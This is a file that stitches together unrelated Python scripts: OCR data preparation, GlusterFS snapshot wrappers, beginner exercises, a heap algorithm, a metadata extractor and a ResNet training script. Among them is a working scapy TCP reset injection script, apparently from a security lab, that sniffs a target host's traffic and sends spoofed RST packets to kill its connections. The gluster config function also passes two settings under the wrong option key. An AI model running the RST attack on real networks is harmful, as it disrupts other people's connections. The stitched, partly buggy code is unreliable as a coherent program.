# coding: utf-8

# In[ ]:

from tensorflow import keras
# import keras

import numpy as np
import cv2
import os
import math
import random
import time

import pyclipper
from shapely.geometry import Polygon
import imgaug
from imgaug import augmenters as iaa

# In[ ]:

epsilon = 1e-9
aug = iaa.Sequential([
    iaa.GaussianBlur(sigma=(0.0,2.0)),  # 高斯模糊增强器
    iaa.AdditiveGaussianNoise(scale=(0, 0.05*255)),  # 高斯噪声增强器
    iaa.AddToHueAndSaturation((-50, 50))  # color jitter, only affects the image
])

# 旋转
def rotate_img_bbox(img, anns, rot_angle=10, scale=1.):
    #---------------------- 旋转图像 ----------------------
    new_anns = []
    angle = np.random.randint(-rot_angle, rot_angle)
    bboxes = []
    for ann in anns:
        bboxes.append([ann['poly'][0], ann['poly'][1],
                       ann['poly'][2], ann['poly'][3]])

    w = img.shape[1]
    h = img.shape[0]
    # 角度变弧度
    rangle = np.deg2rad(angle)  # angle in radians
    # now calculate new image width and height
    nw = (abs(np.sin(rangle)*h) + abs(np.cos(rangle)*w))*scale
    nh = (abs(np.cos(rangle)*h) + abs(np.sin(rangle)*w))*scale
    # ask OpenCV for the rotation matrix
    rot_mat = cv2.getRotationMatrix2D((nw*0.5, nh*0.5), angle, scale)
    # calculate the move from the old center to the new center combined
    # with the rotation
    rot_move = np.dot(rot_mat, np.array([(nw-w)*0.5, (nh-h)*0.5,0]))
    # the move only affects the translation, so update the translation
    # part of the transform
    rot_mat[0,2] += rot_move[0]
    rot_mat[1,2] += rot_move[1]
    # 仿射变换
    rot_img = cv2.warpAffine(img, rot_mat, (int(math.ceil(nw)), int(math.ceil(nh))),
                             flags=cv2.INTER_LANCZOS4, borderValue=(255,255,255))

    #---------------------- 矫正bbox坐标 ----------------------
    # rot_mat是最终的旋转矩阵
    new_anns = []
    for i, bbox in enumerate(bboxes):
        point1 = np.dot(rot_mat, np.array([bbox[0][0], bbox[0][1], 1]))
        point2 = np.dot(rot_mat, np.array([bbox[1][0], bbox[1][1], 1]))
        point3 = np.dot(rot_mat, np.array([bbox[2][0], bbox[2][1], 1]))
        point4 = np.dot(rot_mat, np.array([bbox[3][0], bbox[3][1], 1]))
        # 合并np.array
        concat = np.vstack((point1, point2, point3, point4))
        # 改变array类型
        concat = concat.astype(np.int32)
        # 得到旋转后的坐标
        # 加入list中
        new_ann = {'poly': concat.tolist(), 'text': anns[i]['text']}
        new_anns.append(new_ann)

    return rot_img, new_anns

# In[ ]:

def resize(size, image, anns):
    h, w, c = image.shape
    scale_w = size / w
    scale_h = size / h
    scale = min(scale_w, scale_h)
    h = int(h * scale)
    w = int(w * scale)
#     padimg = np.zeros((size, size, c), image.dtype)
    padimg = np.full(shape=(size,size,c), fill_value=255, dtype=float)
    padimg[:h, :w] = cv2.resize(image, (w, h))
    new_anns = []
    for ann in anns:
        poly = np.array(ann['poly']).astype(np.float64)
        poly *= scale
        new_ann = {'poly': poly.tolist(), 'text': ann['text']}
        new_anns.append(new_ann)
    return padimg, new_anns

# 重整顶点：顺时针调整
def reorder_vertexes(pts):
    # 一共4个坐标点
    rect = np.zeros((4, 2), dtype = "float32")

    # 按顺序找到对应坐标0123分别是 左上，右上，右下，左下
    # 计算左上，右下
    s = pts.sum(axis = 1)
    rect[0] = pts[np.argmin(s)]
    rect[2] = pts[np.argmax(s)]

    # 计算右上和左下
    diff = np.diff(pts, axis = 1)
    rect[1] = pts[np.argmin(diff)]
    rect[3] = pts[np.argmax(diff)]

    return rect

def load_all_anns(gt_paths):
    res = []
    for gt in gt_paths:
        lines = []
        with open(gt, mode='r', encoding='UTF-8') as fr:
            reader = fr.readlines()
            for line in reader:
                item = {}
                line = line.strip().split(',')
                label = line[-1]
                try:
                    i = [int(ii) for ii in line[:8]]
                    poly = np.array(i).reshape((-1, 2))
                    poly = reorder_vertexes(poly)
                except:
                    print('wrong poly')
                    continue
                item['poly'] = poly.astype(np.int32).tolist()
                item['text'] = label
                lines.append(item)
        res.append(lines)
#     print('num imgs: ', len(res))
    return res

def draw_thresh_map(polygon, canvas, mask, shrink_ratio=0.4):
    polygon = np.array(polygon)
    assert polygon.ndim == 2
    assert polygon.shape[1] == 2

    polygon_shape = Polygon(polygon)
    distance = polygon_shape.area * (1 - np.power(shrink_ratio, 2)) / polygon_shape.length
    subject = [tuple(l) for l in polygon]
    padding = pyclipper.PyclipperOffset()
    padding.AddPath(subject, pyclipper.JT_ROUND, pyclipper.ET_CLOSEDPOLYGON)
    # padded_polygon ： 文字区域padded后的区域，相反与 shrinked 操作
    padded_polygon = np.array(padding.Execute(distance)[0])
    # mask ： 文字区域padded后的区域的标识图
    cv2.fillPoly(mask, [padded_polygon.astype(np.int32)], 1.0)

    xmin = padded_polygon[:, 0].min()
    xmax = padded_polygon[:, 0].max()
    ymin = padded_polygon[:, 1].min()
    ymax = padded_polygon[:, 1].max()
    width = xmax - xmin + 1
    height = ymax - ymin + 1

    polygon[:, 0] = polygon[:, 0] - xmin
    polygon[:, 1] = polygon[:, 1] - ymin

    xs = np.broadcast_to(np.linspace(0, width - 1, num=width).reshape(1, width), (height, width))
    ys = np.broadcast_to(np.linspace(0, height - 1, num=height).reshape(height, 1), (height, width))

    distance_map = np.zeros((polygon.shape[0], height, width), dtype=np.float32)
    for i in range(polygon.shape[0]):
        j = (i + 1) % polygon.shape[0]
        absolute_distance = compute_distance(xs, ys, polygon[i], polygon[j])
        distance_map[i] = np.clip(absolute_distance / distance, 0, 1)
    distance_map = np.min(distance_map, axis=0)

    xmin_valid = min(max(0, xmin), canvas.shape[1] - 1)
    xmax_valid = min(max(0, xmax), canvas.shape[1] - 1)
    ymin_valid = min(max(0, ymin), canvas.shape[0] - 1)
    ymax_valid = min(max(0, ymax), canvas.shape[0] - 1)
    canvas[ymin_valid:ymax_valid + 1, xmin_valid:xmax_valid + 1] = np.fmax(
        1 - distance_map[
            ymin_valid - ymin:ymax_valid - ymax + height,
            xmin_valid - xmin:xmax_valid - xmax + width],
        canvas[ymin_valid:ymax_valid + 1, xmin_valid:xmax_valid + 1])

def compute_distance(xs, ys, point_1, point_2):
    square_distance_1 = np.square(xs - point_1[0]) + np.square(ys - point_1[1])
    square_distance_2 = np.square(xs - point_2[0]) + np.square(ys - point_2[1])
    square_distance = np.square(point_1[0] - point_2[0]) + np.square(point_1[1] - point_2[1])
# + epsilon
    cosin = (square_distance - square_distance_1 - square_distance_2) / (2 * np.sqrt(square_distance_1 * square_distance_2) + epsilon)
    square_sin = 1 - np.square(cosin)
    square_sin = np.nan_to_num(square_sin)
# + epsilon
    result = np.sqrt(square_distance_1 * square_distance_2 * square_sin / square_distance + epsilon)

    result[cosin < 0] = np.sqrt(np.fmin(square_distance_1, square_distance_2))[cosin < 0]
    return result

class DataGenerator(keras.utils.Sequence):
    # list_IDs: 图片名list   labels： 图片名对应的label_file list
    def __init__(self,list_IDs, labels, batch_size=16, image_size=640, min_text_size=8, shrink_ratio=0.4, thresh_min=0.3,
             thresh_max=0.7, is_training=True, shuffle=True):
        self.list_IDs = list_IDs
        self.labels = labels
        self.batch_size = batch_size
        self.image_size = image_size
        self.min_text_size = min_text_size
        self.shrink_ratio = shrink_ratio
        self.thresh_min = thresh_min
        self.thresh_max = thresh_max
        self.is_training = is_training
        self.shuffle = shuffle
        self.on_epoch_end()

    def __len__(self):
        return int(np.floor(len(self.list_IDs) / self.batch_size))

    def __getitem__(self, index):
        indexes = self.indexes[index*self.batch_size:(index+1)*self.batch_size]
        list_IDs_temp = [self.list_IDs[k] for k in indexes]
        labels_temp = [self.labels[k] for k in indexes]

        x, y = self.__data_generation(list_IDs_temp, labels_temp)
        return x, y

    def on_epoch_end(self):
        self.indexes = np.arange(len(self.list_IDs))
        if self.shuffle == True:
            np.random.shuffle(self.indexes)

    def __data_generation(self, list_IDs_temp, label_IDs_temp):
        # list_IDs: 图片名list   labels： 图片名对应的label_file list
        batch_images = np.zeros([self.batch_size, self.image_size, self.image_size, 3], dtype=np.float32)
        batch_gts = np.zeros([self.batch_size, self.image_size, self.image_size], dtype=np.float32)
        batch_masks = np.zeros([self.batch_size, self.image_size, self.image_size], dtype=np.float32)
        batch_thresh_maps = np.zeros([self.batch_size, self.image_size, self.image_size], dtype=np.float32)
        batch_thresh_masks = np.zeros([self.batch_size, self.image_size, self.image_size], dtype=np.float32)

        mean = [0.0, 0.0, 0.0]

#         all_anns:
#         [{'poly': [[72, 25], [326, 25], [326, 64], [72, 64]], 'text': 'TAN'}, {'poly': [[50, 82], [440, 82], [440, 121], [50, 121]],'text': 'BOOK'},
#         {'poly': [[205, 121], [285, 121], [285, 139], [205, 139]], 'text': '789417-W'}, {}, ...]
        all_anns = load_all_anns(label_IDs_temp)
        for ii, path in enumerate(list_IDs_temp):

            image = cv2.imread(path)
            anns = all_anns[ii]

            if self.is_training:
                image, anns = rotate_img_bbox(image, anns, rot_angle=20, scale=1.)

            image, anns = resize(self.image_size, image, anns)
            # show_polys(image.copy(), anns, 'after_aug')
            # cv2.waitKey(0)
            anns = [ann for ann in anns if Polygon(ann['poly']).is_valid]
            # gt 图片中文字区域经过shrinking（收缩）后的标识图
            gt = np.zeros((self.image_size, self.image_size), dtype=np.float32)
            # mask 图片中有效区域的标识图（能够用来计算正负样本loss的区域）
            mask = np.ones((self.image_size, self.image_size), dtype=np.float32)
            thresh_map = np.zeros((self.image_size, self.image_size), dtype=np.float32)
            thresh_mask = np.zeros((self.image_size, self.image_size), dtype=np.float32)
            for ann in anns:
                poly = np.array(ann['poly'])
                height = max(poly[:, 1]) - min(poly[:, 1])
                width = max(poly[:, 0]) - min(poly[:, 0])
                polygon = Polygon(poly)
                # generate gt and mask
                if polygon.area < 1 or min(height, width) < self.min_text_size or ann['text'] == '###':
                    cv2.fillPoly(mask, poly.astype(np.int32)[np.newaxis, :, :], 0)
                    continue
                else:
                    # distance： shrinking的距离
                    distance = polygon.area * (1 - np.power(self.shrink_ratio, 2)) / polygon.length
                    subject = [tuple(l) for l in ann['poly']]
                    padding = pyclipper.PyclipperOffset()
                    padding.AddPath(subject, pyclipper.JT_ROUND, pyclipper.ET_CLOSEDPOLYGON)
                    # shrinked: shrinked 收缩后的区域, 由多个点所表示
                    shrinked = padding.Execute(-distance)
                    if len(shrinked) == 0:
                        cv2.fillPoly(mask, poly.astype(np.int32)[np.newaxis, :, :], 0)
                        continue
                    else:
                        shrinked = np.array(shrinked[0]).reshape(-1, 2)
                        if shrinked.shape[0] > 2 and Polygon(shrinked).is_valid:
                            cv2.fillPoly(gt, [shrinked.astype(np.int32)], 1)
                        else:
                            cv2.fillPoly(mask, poly.astype(np.int32)[np.newaxis, :, :], 0)
                            continue
                # generate thresh map and thresh mask
                # thresh_mask : 文字区域padded后的区域的标识图
                draw_thresh_map(ann['poly'], thresh_map, thresh_mask, shrink_ratio=self.shrink_ratio)
            thresh_map = thresh_map * (self.thresh_max - self.thresh_min) + self.thresh_min

#             image = image.astype(np.float32)
            image[..., 0] -= mean[0]
            image[..., 1] -= mean[1]
            image[..., 2] -= mean[2]

            batch_images[ii] = image
            batch_gts[ii] = gt
            batch_masks[ii] = mask
            batch_thresh_maps[ii] = thresh_map
            batch_thresh_masks[ii] = thresh_mask

        if self.is_training:
            batch_images = batch_images.astype(np.uint8)
            batch_images = aug.augment_images(batch_images)

        batch_gts = np.expand_dims(batch_gts, axis=-1)
        batch_masks = np.expand_dims(batch_masks, axis=-1)
        batch_thresh_maps = np.expand_dims(batch_thresh_maps, axis=-1)
        batch_thresh_masks = np.expand_dims(batch_thresh_masks, axis=-1)

        batch_outputs = np.concatenate((batch_gts, batch_masks, batch_thresh_maps, batch_thresh_masks), axis=-1)
#             batch_outputs[ii] = outputs

        # return batch_outputs, batch_loss
        return batch_images, batch_outputs


# -*- coding: utf-8 -*-

from glustercli.cli.utils import snapshot_execute, snapshot_execute_xml
from glustercli.cli.parsers import (parse_snapshot_status,
                                    parse_snapshot_info,
                                    parse_snapshot_list)

def activate(snapname, force=False):
    """
    Activate Snapshot

    :param snapname: Snapshot Name
    :param force: True|False Force Activate the snapshot
    :returns: Output of the command, raises
     GlusterCmdException((rc, out, err)) on error
    """
    cmd = ["activate", snapname]

    if force:
        cmd += ["force"]

    return snapshot_execute(cmd)

def clone(clonename, snapname):
    """
    Clone the Snapshot

    :param clonename: Snapshot Clone Name
    :param snapname: Snapshot Name
    :returns: Output of the command, raises
     GlusterCmdException((rc, out, err)) on error
    """
    cmd = ["clone", clonename, snapname]

    return snapshot_execute(cmd)

def create(volname, snapname, no_timestamp=False, description="", force=False):
    """
    Create Snapshot

    :param volname: Volume Name
    :param snapname: Snapshot Name
    :param no_timestamp: True|False Do not add Timestamp to name
    :param description: Description for Created Snapshot
    :param force: True|False Force Create the snapshot
    :returns: Output of the command, raises
     GlusterCmdException((rc, out, err)) on error
    """
    cmd = ["create", snapname, volname]

    if no_timestamp:
        cmd += ["no-timestamp"]

    if description:
        cmd += ["description", description]

    if force:
        cmd += ["force"]

    return snapshot_execute(cmd)

def deactivate(snapname):
    """
    Deactivate the Snapshot

    :param snapname: Snapshot Name
    :returns: Output of the command, raises
     GlusterCmdException((rc, out, err)) on error
    """
    cmd = ["deactivate", snapname]

    return snapshot_execute(cmd)

def delete(snapname=None, volname=None):
    """
    Delete Snapshot

    :param snapname: Snapshot Name
    :param volname: Volume Name
    :returns: Output of the command, raises
     GlusterCmdException((rc, out, err)) on error
    """
    cmd = ["delete"]
    if snapname is not None:
        cmd += [snapname]

    if volname is not None and snapname is None:
        cmd += ["volume", volname]

    return snapshot_execute(cmd)

def info(snapname=None, volname=None):
    """
    Snapshot Info

    :param snapname: Snapshot Name
    :param volname: Volume Name
    :returns: Snapshot Info, raises
     GlusterCmdException((rc, out, err)) on error
    """
    cmd = ["info"]
    if snapname is not None:
        cmd += [snapname]

    if volname is not None and snapname is None:
        cmd += ["volume", volname]

    return parse_snapshot_info(snapshot_execute_xml(cmd))

def snaplist(volname=None):
    """
    List of Snapshots

    :param volname: Volume Name
    :returns: Output of the command, raises
     GlusterCmdException((rc, out, err)) on error
    """
    cmd = ["list"]

    if volname is not None:
        cmd += [volname]

    return parse_snapshot_list(snapshot_execute_xml(cmd))

def restore(snapname):
    """
    Restore Snapshot

    :param snapname: Snapshot Name
    :returns: Output of the command, raises
     GlusterCmdException((rc, out, err)) on error
    """
    cmd = ["restore", snapname]
    return snapshot_execute(cmd)

def status(snapname=None, volname=None):
    """
    Snapshot Status

    :param snapname: Snapshot Name
    :param volname: Volume Name
    :returns: Output of the command, raises
     GlusterCmdException((rc, out, err)) on error
    """
    cmd = ["status"]
    if snapname is not None:
        cmd += [snapname]

    if volname is not None and snapname is None:
        cmd += ["volume", volname]

    return parse_snapshot_status(snapshot_execute_xml(cmd))

def config(volname, snap_max_hard_limit=None,
           snap_max_soft_limit=None, auto_delete=None,
           activate_on_create=None):
    """
    Set Snapshot Config

    :param volname: Volume Name
    :param snap_max_hard_limit: Number of Snapshots hard limit
    :param snap_max_soft_limit: Number of Snapshots soft limit
    :param auto_delete: True|False Auto delete old snapshots
    :param activate_on_create: True|False Activate Snapshot after Create
    :returns: Output of the command, raises
     GlusterCmdException((rc, out, err)) on error
    """
    cmd = ["config", volname]

    if snap_max_hard_limit is not None:
        cmd += ["snap-max-hard-limit", "{0}".format(snap_max_hard_limit)]

    if snap_max_soft_limit is not None:
        cmd += ["snap-max-soft-limit", "{0}".format(snap_max_soft_limit)]

    if auto_delete is not None:
        auto_delete_arg = "enable" if auto_delete else "disable"
        cmd += ["snap-max-hard-limit", auto_delete_arg]

    if activate_on_create is not None:
        activate_arg = "enable" if activate_on_create else "disable"
        cmd += ["snap-max-hard-limit", activate_arg]

    return snapshot_execute(cmd)


# Chapter 7 Exercises

# 1
print('Question 1: ')
def count_odd():
    listA = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
    count = 0
    for x in listA:
        if x % 2 == 1:
            count +=1
    return count

print(f'There are {count_odd()} odd numbers in the list.\n')

#2
print('Question 2: ')
def sum_even():
    listA = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
    count = 0
    for x in listA:
        if x % 2 == 0:
            count += x
    return count

print(f'The total sum of all even numbers in the list is {sum_even()}.\n')

# 3
print('Question 3: ')
def sum_negative():
    listB = [1, -6, 4, -77, - 33, -1, 3, 6]
    total = 0
    for x in listB:
        if x < 0:
            total += x
    return total

print(f'The sum of all negative number in the list is {sum_negative()}.\n')

# 4
print('Question 4: ')
def len_five():
    listC = ['Tomato', 'Avocado', 'Woman', 'Water', 'Cooler']
    count = 0
    for x in listC:
        if len(x) == 5:
            count += 1
    return count

print(f'There are {len_five()} word(s) with a length of five in the list.\n')

# 5
print('Question 5: ')
def first_even():
    listD = [3, 5, 7, 9, 13, 15, 6, 14, 17, 19]
    total = 0
    for x in listD:
        if x % 2 == 1:
            total += x
        elif x % 2 == 0:
            break
    return total

print(f'The sum of odd numbers before the first even number is {first_even()}.\n')

# 6
print('Question 6: ')
def count_words():
    listE = ['Tomato', 'Avocado', 'Woman', 'Water', 'Cooler', 'Sam', 'Jamie']
    count = 0
    for x in listE:
        if x == 'Sam':
            break
        else:
            count += 1
    return count

print(f'There are {count_words()} words before Sam appears in the list.\n')

# 7
print('Question 7: ')
def sqrt(n):
    approx = n/2.0     # Start with some or other guess at the answer
    while True:
        better = (approx + n/approx)/2.0
        print(better)
        if abs(approx - better) < 0.001:
            return better
        approx = better

print(sqrt(25), '\n')

# 8
print('Question 8: ')
def print_multiples(n, high):
    for i in range(1, high+1):
        print(n * i, end="   ")
    print()

def print_mult_table(high):
    for i in range(1, high+1):
        print_multiples(i, high)

print(print_mult_table(5), '\n')

# 9
print('Question 9: ')
def print_triangular_numbers(n):
    for x in range(1, n+1):
        print(x, x*(x+1)/2)

print(print_triangular_numbers(5), '\n')

# 10
print('Question 10: ')
def is_prime(x):
    if x < 2:
        return False
    else:
        for n in range(2,x):
            if x % n == 0:
               return False
        return True

print(is_prime(19), '\n')

# 14
print('Question 14: ')
def num_digits(n):
    count = 0
    if n == 0:
        return 1
    while n != 0:
        count = count + 1
        n = n // 10
    return count

print(num_digits(100), '\n')

# 15
print('Question 15: ')
def num_even_digits(numbers):
    count = 0
    numbers = str(numbers)
    for number in numbers:
        number = int(number)
        if number % 2 == 0:
            count += 1
    return count

print(num_even_digits(123456))


'''
Given an unsorted array of numbers, find Kth smallest number in it.

Example 1:

Input: [1, 5, 12, 2, 11, 5], K = 3
Output: 5
Explanation: The 3rd smallest number is '5', as the first two smaller numbers are [1, 2].
Example 2:

Input: [1, 5, 12, 2, 11, 5], K = 4
Output: 5
Explanation: The 4th smallest number is '5', as the first three small numbers are [1, 2, 5].
Example 3:

Input: [5, 12, 11, -1, 12], K = 3
Output: 11
Explanation: The 3rd smallest number is '11', as the first two small numbers are [5, -1].
'''

from heapq import *

def kth_smallest_number(nums, k):

    max_heap = []

    for i in range(0, k):
        heappush(max_heap, -nums[i])

    print(max_heap)

    for i in range(k, len(nums)):

        if -nums[i] > max_heap[0]:
            heappop(max_heap)
            heappush(max_heap, -nums[i])

        print(max_heap)

    return -max_heap[0]

print(kth_smallest_number([1, 2, 3, 4, 5, 6], 4))
print(kth_smallest_number([5, 12, 11, -1, 12], 3))


#!/usr/bin/env python3
from fcntl import FASYNC
from time import sleep
from scapy.all import *

def spoof_pkt(pkt):
    new_pkt = IP()/TCP()

    new_pkt[IP].src = pkt[IP].dst
    new_pkt[IP].dst = pkt[IP].src

    new_pkt[TCP].sport = pkt[TCP].dport
    new_pkt[TCP].dport = pkt[TCP].sport

    new_pkt[TCP].flags |= "R"

    new_pkt[TCP].ack = pkt[TCP].seq+1
    new_pkt[TCP].seq = pkt[TCP].ack+1

    send(new_pkt, verbose=0)

if __name__ == '__main__':

    pkt = sniff(iface='br-8bdd88cc20ec', filter='tcp and ip src 10.9.0.6 and not ether src 02:42:bb:0f:b4:88', prn=spoof_pkt)


from PIL import Image
from PIL.ExifTags import TAGS
import exif
import pdfx
import os

files_location = "./files/"

selected_option = ""

text = ""

def get_files():

    # lists the files which we are going to extract metadata from
    list_of_files = os.listdir("./files")

    # if there is no files, display this message and end the program
    if len(list_of_files) == 0:
        print(" ===============  NOT FILES FOUND   =============== ")
        exit(0)

    return list_of_files

def show_title():

    print("===============================================================")
    print("===============================================================")
    print("=================  EXTRACT METADATA PROGRAM   =================")
    print("===============================================================")
    print("===============================================================")

def get_options():

    global selected_option

    print("\n\n")
    option_msg = """TYPE NUMBER OF THE ACTION YOU WANT TO PERFORM?
        \n1- DISPLAY ON THE SCREEN:
        \n2- SAVE DATA IN A FILE:
        \n3- DELETE METADATA FROM IMAGES:
        \n>> """

    selected_option = input(option_msg)

def get_metadata_from_images(file):

    extracted_data = ""

    try:

        # following two lines open the file and extract the exif data
        img = Image.open(f"{files_location}{file}")
        metadata = img.getexif()

        for tagid in metadata:

            tagname = TAGS.get(tagid, tagid)
            value = metadata.get(tagid)

            # adds the data
            extracted_data += f"\t{tagname} : {value}\n"

        img.close()

        return extracted_data

    except FileNotFoundError:
        print("\n===============  NOT FILES FOUND   ===============\n")
        exit(0)

def get_metadata_from_pdf(file):

    extracted_data = ""

    try:

        pdf = pdfx.PDFx(f"{files_location}{file}")
        metadata = pdf.get_metadata()

        for key in metadata:

            # adds the data
            extracted_data += f"\t{key} : {metadata[key]}\n"

        return extracted_data

    except FileNotFoundError:
        print("\n===============  NOT FILES FOUND   ===============\n")
        exit(0)

def delete_metadata_img(file):

    global files_location

    img = exif.Image(open(f"{files_location}{file}", "rb"))
    img.delete_all()
    file = open(f"./results/NO_METADATA_{file}", "wb")
    file.write(img.get_file())
    file.close()

def extract_metadata():

    global text
    global selected_option
    global files_location

    # stores data that will be shown to the user
    text = ""

    list_of_files = get_files()

    for file in list_of_files:

        # extract the extension of files, example: .jpg, .png, .pdf
        extension = os.path.splitext(file)[1].lower()

        text += f"\n\n===============  ({file}) METADATA   ===============\n\n"

        if extension == ".jpg" or extension == ".png":
            text += get_metadata_from_images(file)

        elif extension == ".pdf":
            text += get_metadata_from_pdf(file)

        else:
            print(f"\n=============== EXTENSION ({extension}) NOT SUPPORTED   ===============\n")

    # if user option is 1 display data on the screen
    if selected_option.lower() == "1":
        print(text)
        print("===============  END OF PROGRAM   ===============\n")

    # if user option is 2 creates a file and save data there
    elif selected_option.lower() == "2":
        os.mkdir("./results")
        f = open("./results/metadata.txt","a")
        f.write(text)
        f.close()
        print("\n===============  EXTRACTION COMPLETED SUCCESSFULLY   ===============\n")

    elif selected_option.lower() == "3":

        for file in list_of_files:

            # extract the extension of files, example: .jpg, .png, .pdf
            extension = os.path.splitext(file)[1].lower()

            if extension == ".jpg" or extension == ".png":
                delete_metadata_img(file)

            elif extension == ".pdf":
                pass

        print("\n===============  METADATA DELETED  ===============")
        print("===============  YOUT CAN FIND FILES WITHOUT METADATA IN (./results)   ===============\n")

    else:
        print(f"\n===============  OPTION NOT SUPPORTED   ===============\n")

#####         #####         ######         ###   #####      ###
######       ######        ###  ###        ###   ######     ###
###  ##     ##  ###       ###    ###       ###   ###  ##    ###
###   ##   ##   ###      ###      ###      ###   ###   ##   ###
###    ## ##    ###     ### ###### ###     ###   ###    ##  ###
###     ###     ###    ###          ###    ###   ###     ## ###
###             ###   ###            ###   ###   ###      #####

if __name__ == "__main__":

    show_title()

    get_options()

    extract_metadata()


"""Module to perform supervised learning experiments"""
import torch
import torchvision
import numpy as np
import torchvision.transforms as transforms
import torch.optim as optim
import torch.nn as nn
import tqdm
import argparse
import os
import csv
import torch.utils.data

import dataloader_supervised
import utils

mean = (0.3499, 0.4374, 0.5199)
std = (0.1623, 0.1894, 0.1775)

outputDir = "../supervised_output/"

def get_parser(desc):
    """Return parser
    """
    parser = argparse.ArgumentParser(description=desc)
    parser.add_argument("--batch_size", "-b", default=64, type=int)
    parser.add_argument("--workers", "-w", default=4, type=int)
    parser.add_argument("--epochs", "-e", default=50, type=int)
    parser.add_argument("--lr", "-lr", default=0.1, type=float)
    parser.add_argument("--hypertune", "-ht", default=False, action="store_true")
    parser.add_argument("--fraction", "-f", default=1.0, type=float)
    parser.add_argument("--save", "-sv", default=False, action='store_true')
    parser.add_argument("--saveName", "-sn", default="", type=str)
    return parser.parse_args()

def get_network(pre, num_classes):
    """Return the network"""
    model = torchvision.models.resnet18(pretrained=pre)
    fc_size = model.fc.in_features
    model.fc = nn.Identity()
    classifier = nn.Linear(fc_size, num_classes)
    return model, classifier

def eval_net(network, classifier, train_loader, test_loader, train_file_name="", test_file_name=""):
    """Evaluate the network"""
    network.eval()
    top1acc = 0
    top5acc = 0
    totTrainPoints = 0
    if train_file_name == "" or test_file_name == "":
        save = False
    else:
        save = True
    if save:
        train_csv_file = open(train_file_name, "w")
        train_pred_csv = csv.writer(train_csv_file)
        test_csv_file = open(test_file_name, "w")
        test_pred_csv = csv.writer(test_csv_file)
        train_pred_csv.writerow(["Index", "True Label", "Predicted Label"])
        test_pred_csv.writerow(["Index", "True Label", "Predicted Label"])

    for _, (indices, images, labels) in enumerate(train_loader):
        images = images.cuda(non_blocking=True)
        labels = labels.cuda(non_blocking=True)
        with torch.no_grad():
            feats = network.forward(images)
            logits = classifier(feats)
        top, pred = utils.calc_accuracy(logits, labels, topk=(1, 5))
        top1acc += top[0].item() * pred.shape[0]
        top5acc += top[1].item() * pred.shape[0]
        totTrainPoints += pred.shape[0]
        if save:
            pred, labels, indices = pred.cpu().numpy(), labels.cpu().numpy(), indices.cpu().numpy()
            for idx in range(pred.shape[0]):
                row = [indices[idx], labels[idx], pred[idx]]
                train_pred_csv.writerow(row)
    top1acc /= totTrainPoints
    top5acc /= totTrainPoints
    print("Train Accuracies 1 and 5:", top1acc, top5acc)

    top1corr = 0
    top5acc = 0
    totTestPoints = 0
    for _, (indices, images, labels) in enumerate(test_loader):
        images = images.cuda(non_blocking=True)
        labels = labels.cuda(non_blocking=True)
        with torch.no_grad():
            feats = network.forward(images)
            logits = classifier.forward(feats)
        top, pred = utils.calc_accuracy(logits, labels, topk=(1, 5))
        top1corr += top[0].item() * indices.size()[0]
        top5acc += top[1].item() * indices.size()[0]
        totTestPoints += indices.size()[0]
        if save:
            pred, labels, indices = pred.cpu().numpy(), labels.cpu().numpy(), indices.cpu().numpy()
            for idx in range(pred.shape[0]):
                row = [indices[idx], labels[idx], pred[idx]]
                test_pred_csv.writerow(row)

    top1acc = top1corr / totTestPoints
    top5acc /= totTestPoints
    print("Test Accuracies 1 and 5:", top1acc, top5acc)
    if save:
        train_csv_file.close()
        test_csv_file.close()
    network.train()

def train(network, classifier, train_data, test_data, args):
    """Train the network"""
    gpu = 0
    torch.cuda.set_device(gpu)
    network.cuda(gpu)
    classifier.cuda(gpu)
    trainLoader = torch.utils.data.DataLoader(train_data, batch_size=args['batch_size'], shuffle=False,
                                              num_workers=args['workers'], pin_memory=False,
                                              persistent_workers=True)

    testLoader = torch.utils.data.DataLoader(test_data, batch_size=args['batch_size'], shuffle=False,
                                             pin_memory=False, num_workers=args['workers'])
    print("Train", len(train_data), utils.online_mean_and_sd(trainLoader))
    print("Test", len(test_data), utils.online_mean_and_sd(testLoader))

    optimizer = optim.Adam(classifier.parameters(), lr=args['lr'], weight_decay=1e-5)
    optimizer.add_param_group({'params': network.parameters()})

    scheduler = optim.lr_scheduler.CosineAnnealingLR(optimizer=optimizer,
                                                     T_max=max(
                                                         10, (args['epochs'] - 10)) * len(trainLoader), eta_min=0.001)
    numEpochs = args['epochs']
    sup_losses = []
    warmup_steps = 10 * len(trainLoader)
    optimizer.param_groups[0]['lr'] = 1 / warmup_steps * args['lr']
    for ep in range(numEpochs):
        ep_id = 0
        tot_loss = 0
        tqdmBar = tqdm.tqdm(total=len(trainLoader))
        ep_losses = []
        for _, images, labels in trainLoader:
            optimizer.zero_grad()
            images, labels = images.cuda(), labels.cuda()
            feats = network(images)
            logits = classifier(feats)
            loss = nn.CrossEntropyLoss()(logits, labels)
            loss.backward()
            optimizer.step()

            ep_losses.append(loss.item())
            tot_loss += loss.item()
            ep_id += 1
            avg_loss = tot_loss / ep_id
            tqdmBar.update(1)
            tqdmBar.set_description("Epoch: {:d}/{:d} Loss: {:.4f} LR: {:.6f}".format(ep + 1, numEpochs, avg_loss,
                                                                                optimizer.param_groups[0][
                                                                                'lr']))
            if ep > 9:
                scheduler.step()
            else:
                curr_step = ep * len(trainLoader) + ep_id + 1
                optimizer.param_groups[0]['lr'] = curr_step / warmup_steps * args['lr']
        tqdmBar.close()
        sup_losses.append(ep_losses)
        if (ep + 1) % 20 == 0 and ep != numEpochs - 1:
            eval_net(network=network, classifier=classifier, train_loader=trainLoader, test_loader=testLoader)

    if args['save']:
        train_csv_file_name = args['saveDir'] + "/train_pred_final.csv"
        test_csv_file_name = args['saveDir'] + "/test_pred_final.csv"
        eval_net(network=network, classifier=classifier, train_loader=trainLoader, test_loader=testLoader,
                 train_file_name=train_csv_file_name, test_file_name=test_csv_file_name)
        fileName = args['saveDir'] + "backbone_final.pt"
        torch.save(network.state_dict(), fileName, _use_new_zipfile_serialization=False)
        fileName = args['saveDir'] + "classifier_final.pt"
        torch.save(classifier.state_dict(), fileName, _use_new_zipfile_serialization=False)
    else:
        eval_net(network=network, classifier=classifier, train_loader=trainLoader, test_loader=testLoader)

if __name__ == "__main__":
    exp_args = vars(get_parser(desc="Sup Parser"))
    if not os.path.isdir(outputDir):
        os.mkdir(outputDir)
    if exp_args['save']:
        try:
            assert exp_args['saveName'] != ""
        except AssertionError:
            raise AssertionError("Enter name of directory to save output")
        try:
            assert not os.path.isdir(outputDir + exp_args['saveName'] + "/")
        except AssertionError:
            raise AssertionError("Entered save directory already exists. Enter a new name.")
        exp_args['saveDir'] = outputDir + exp_args['saveName'] + '/'
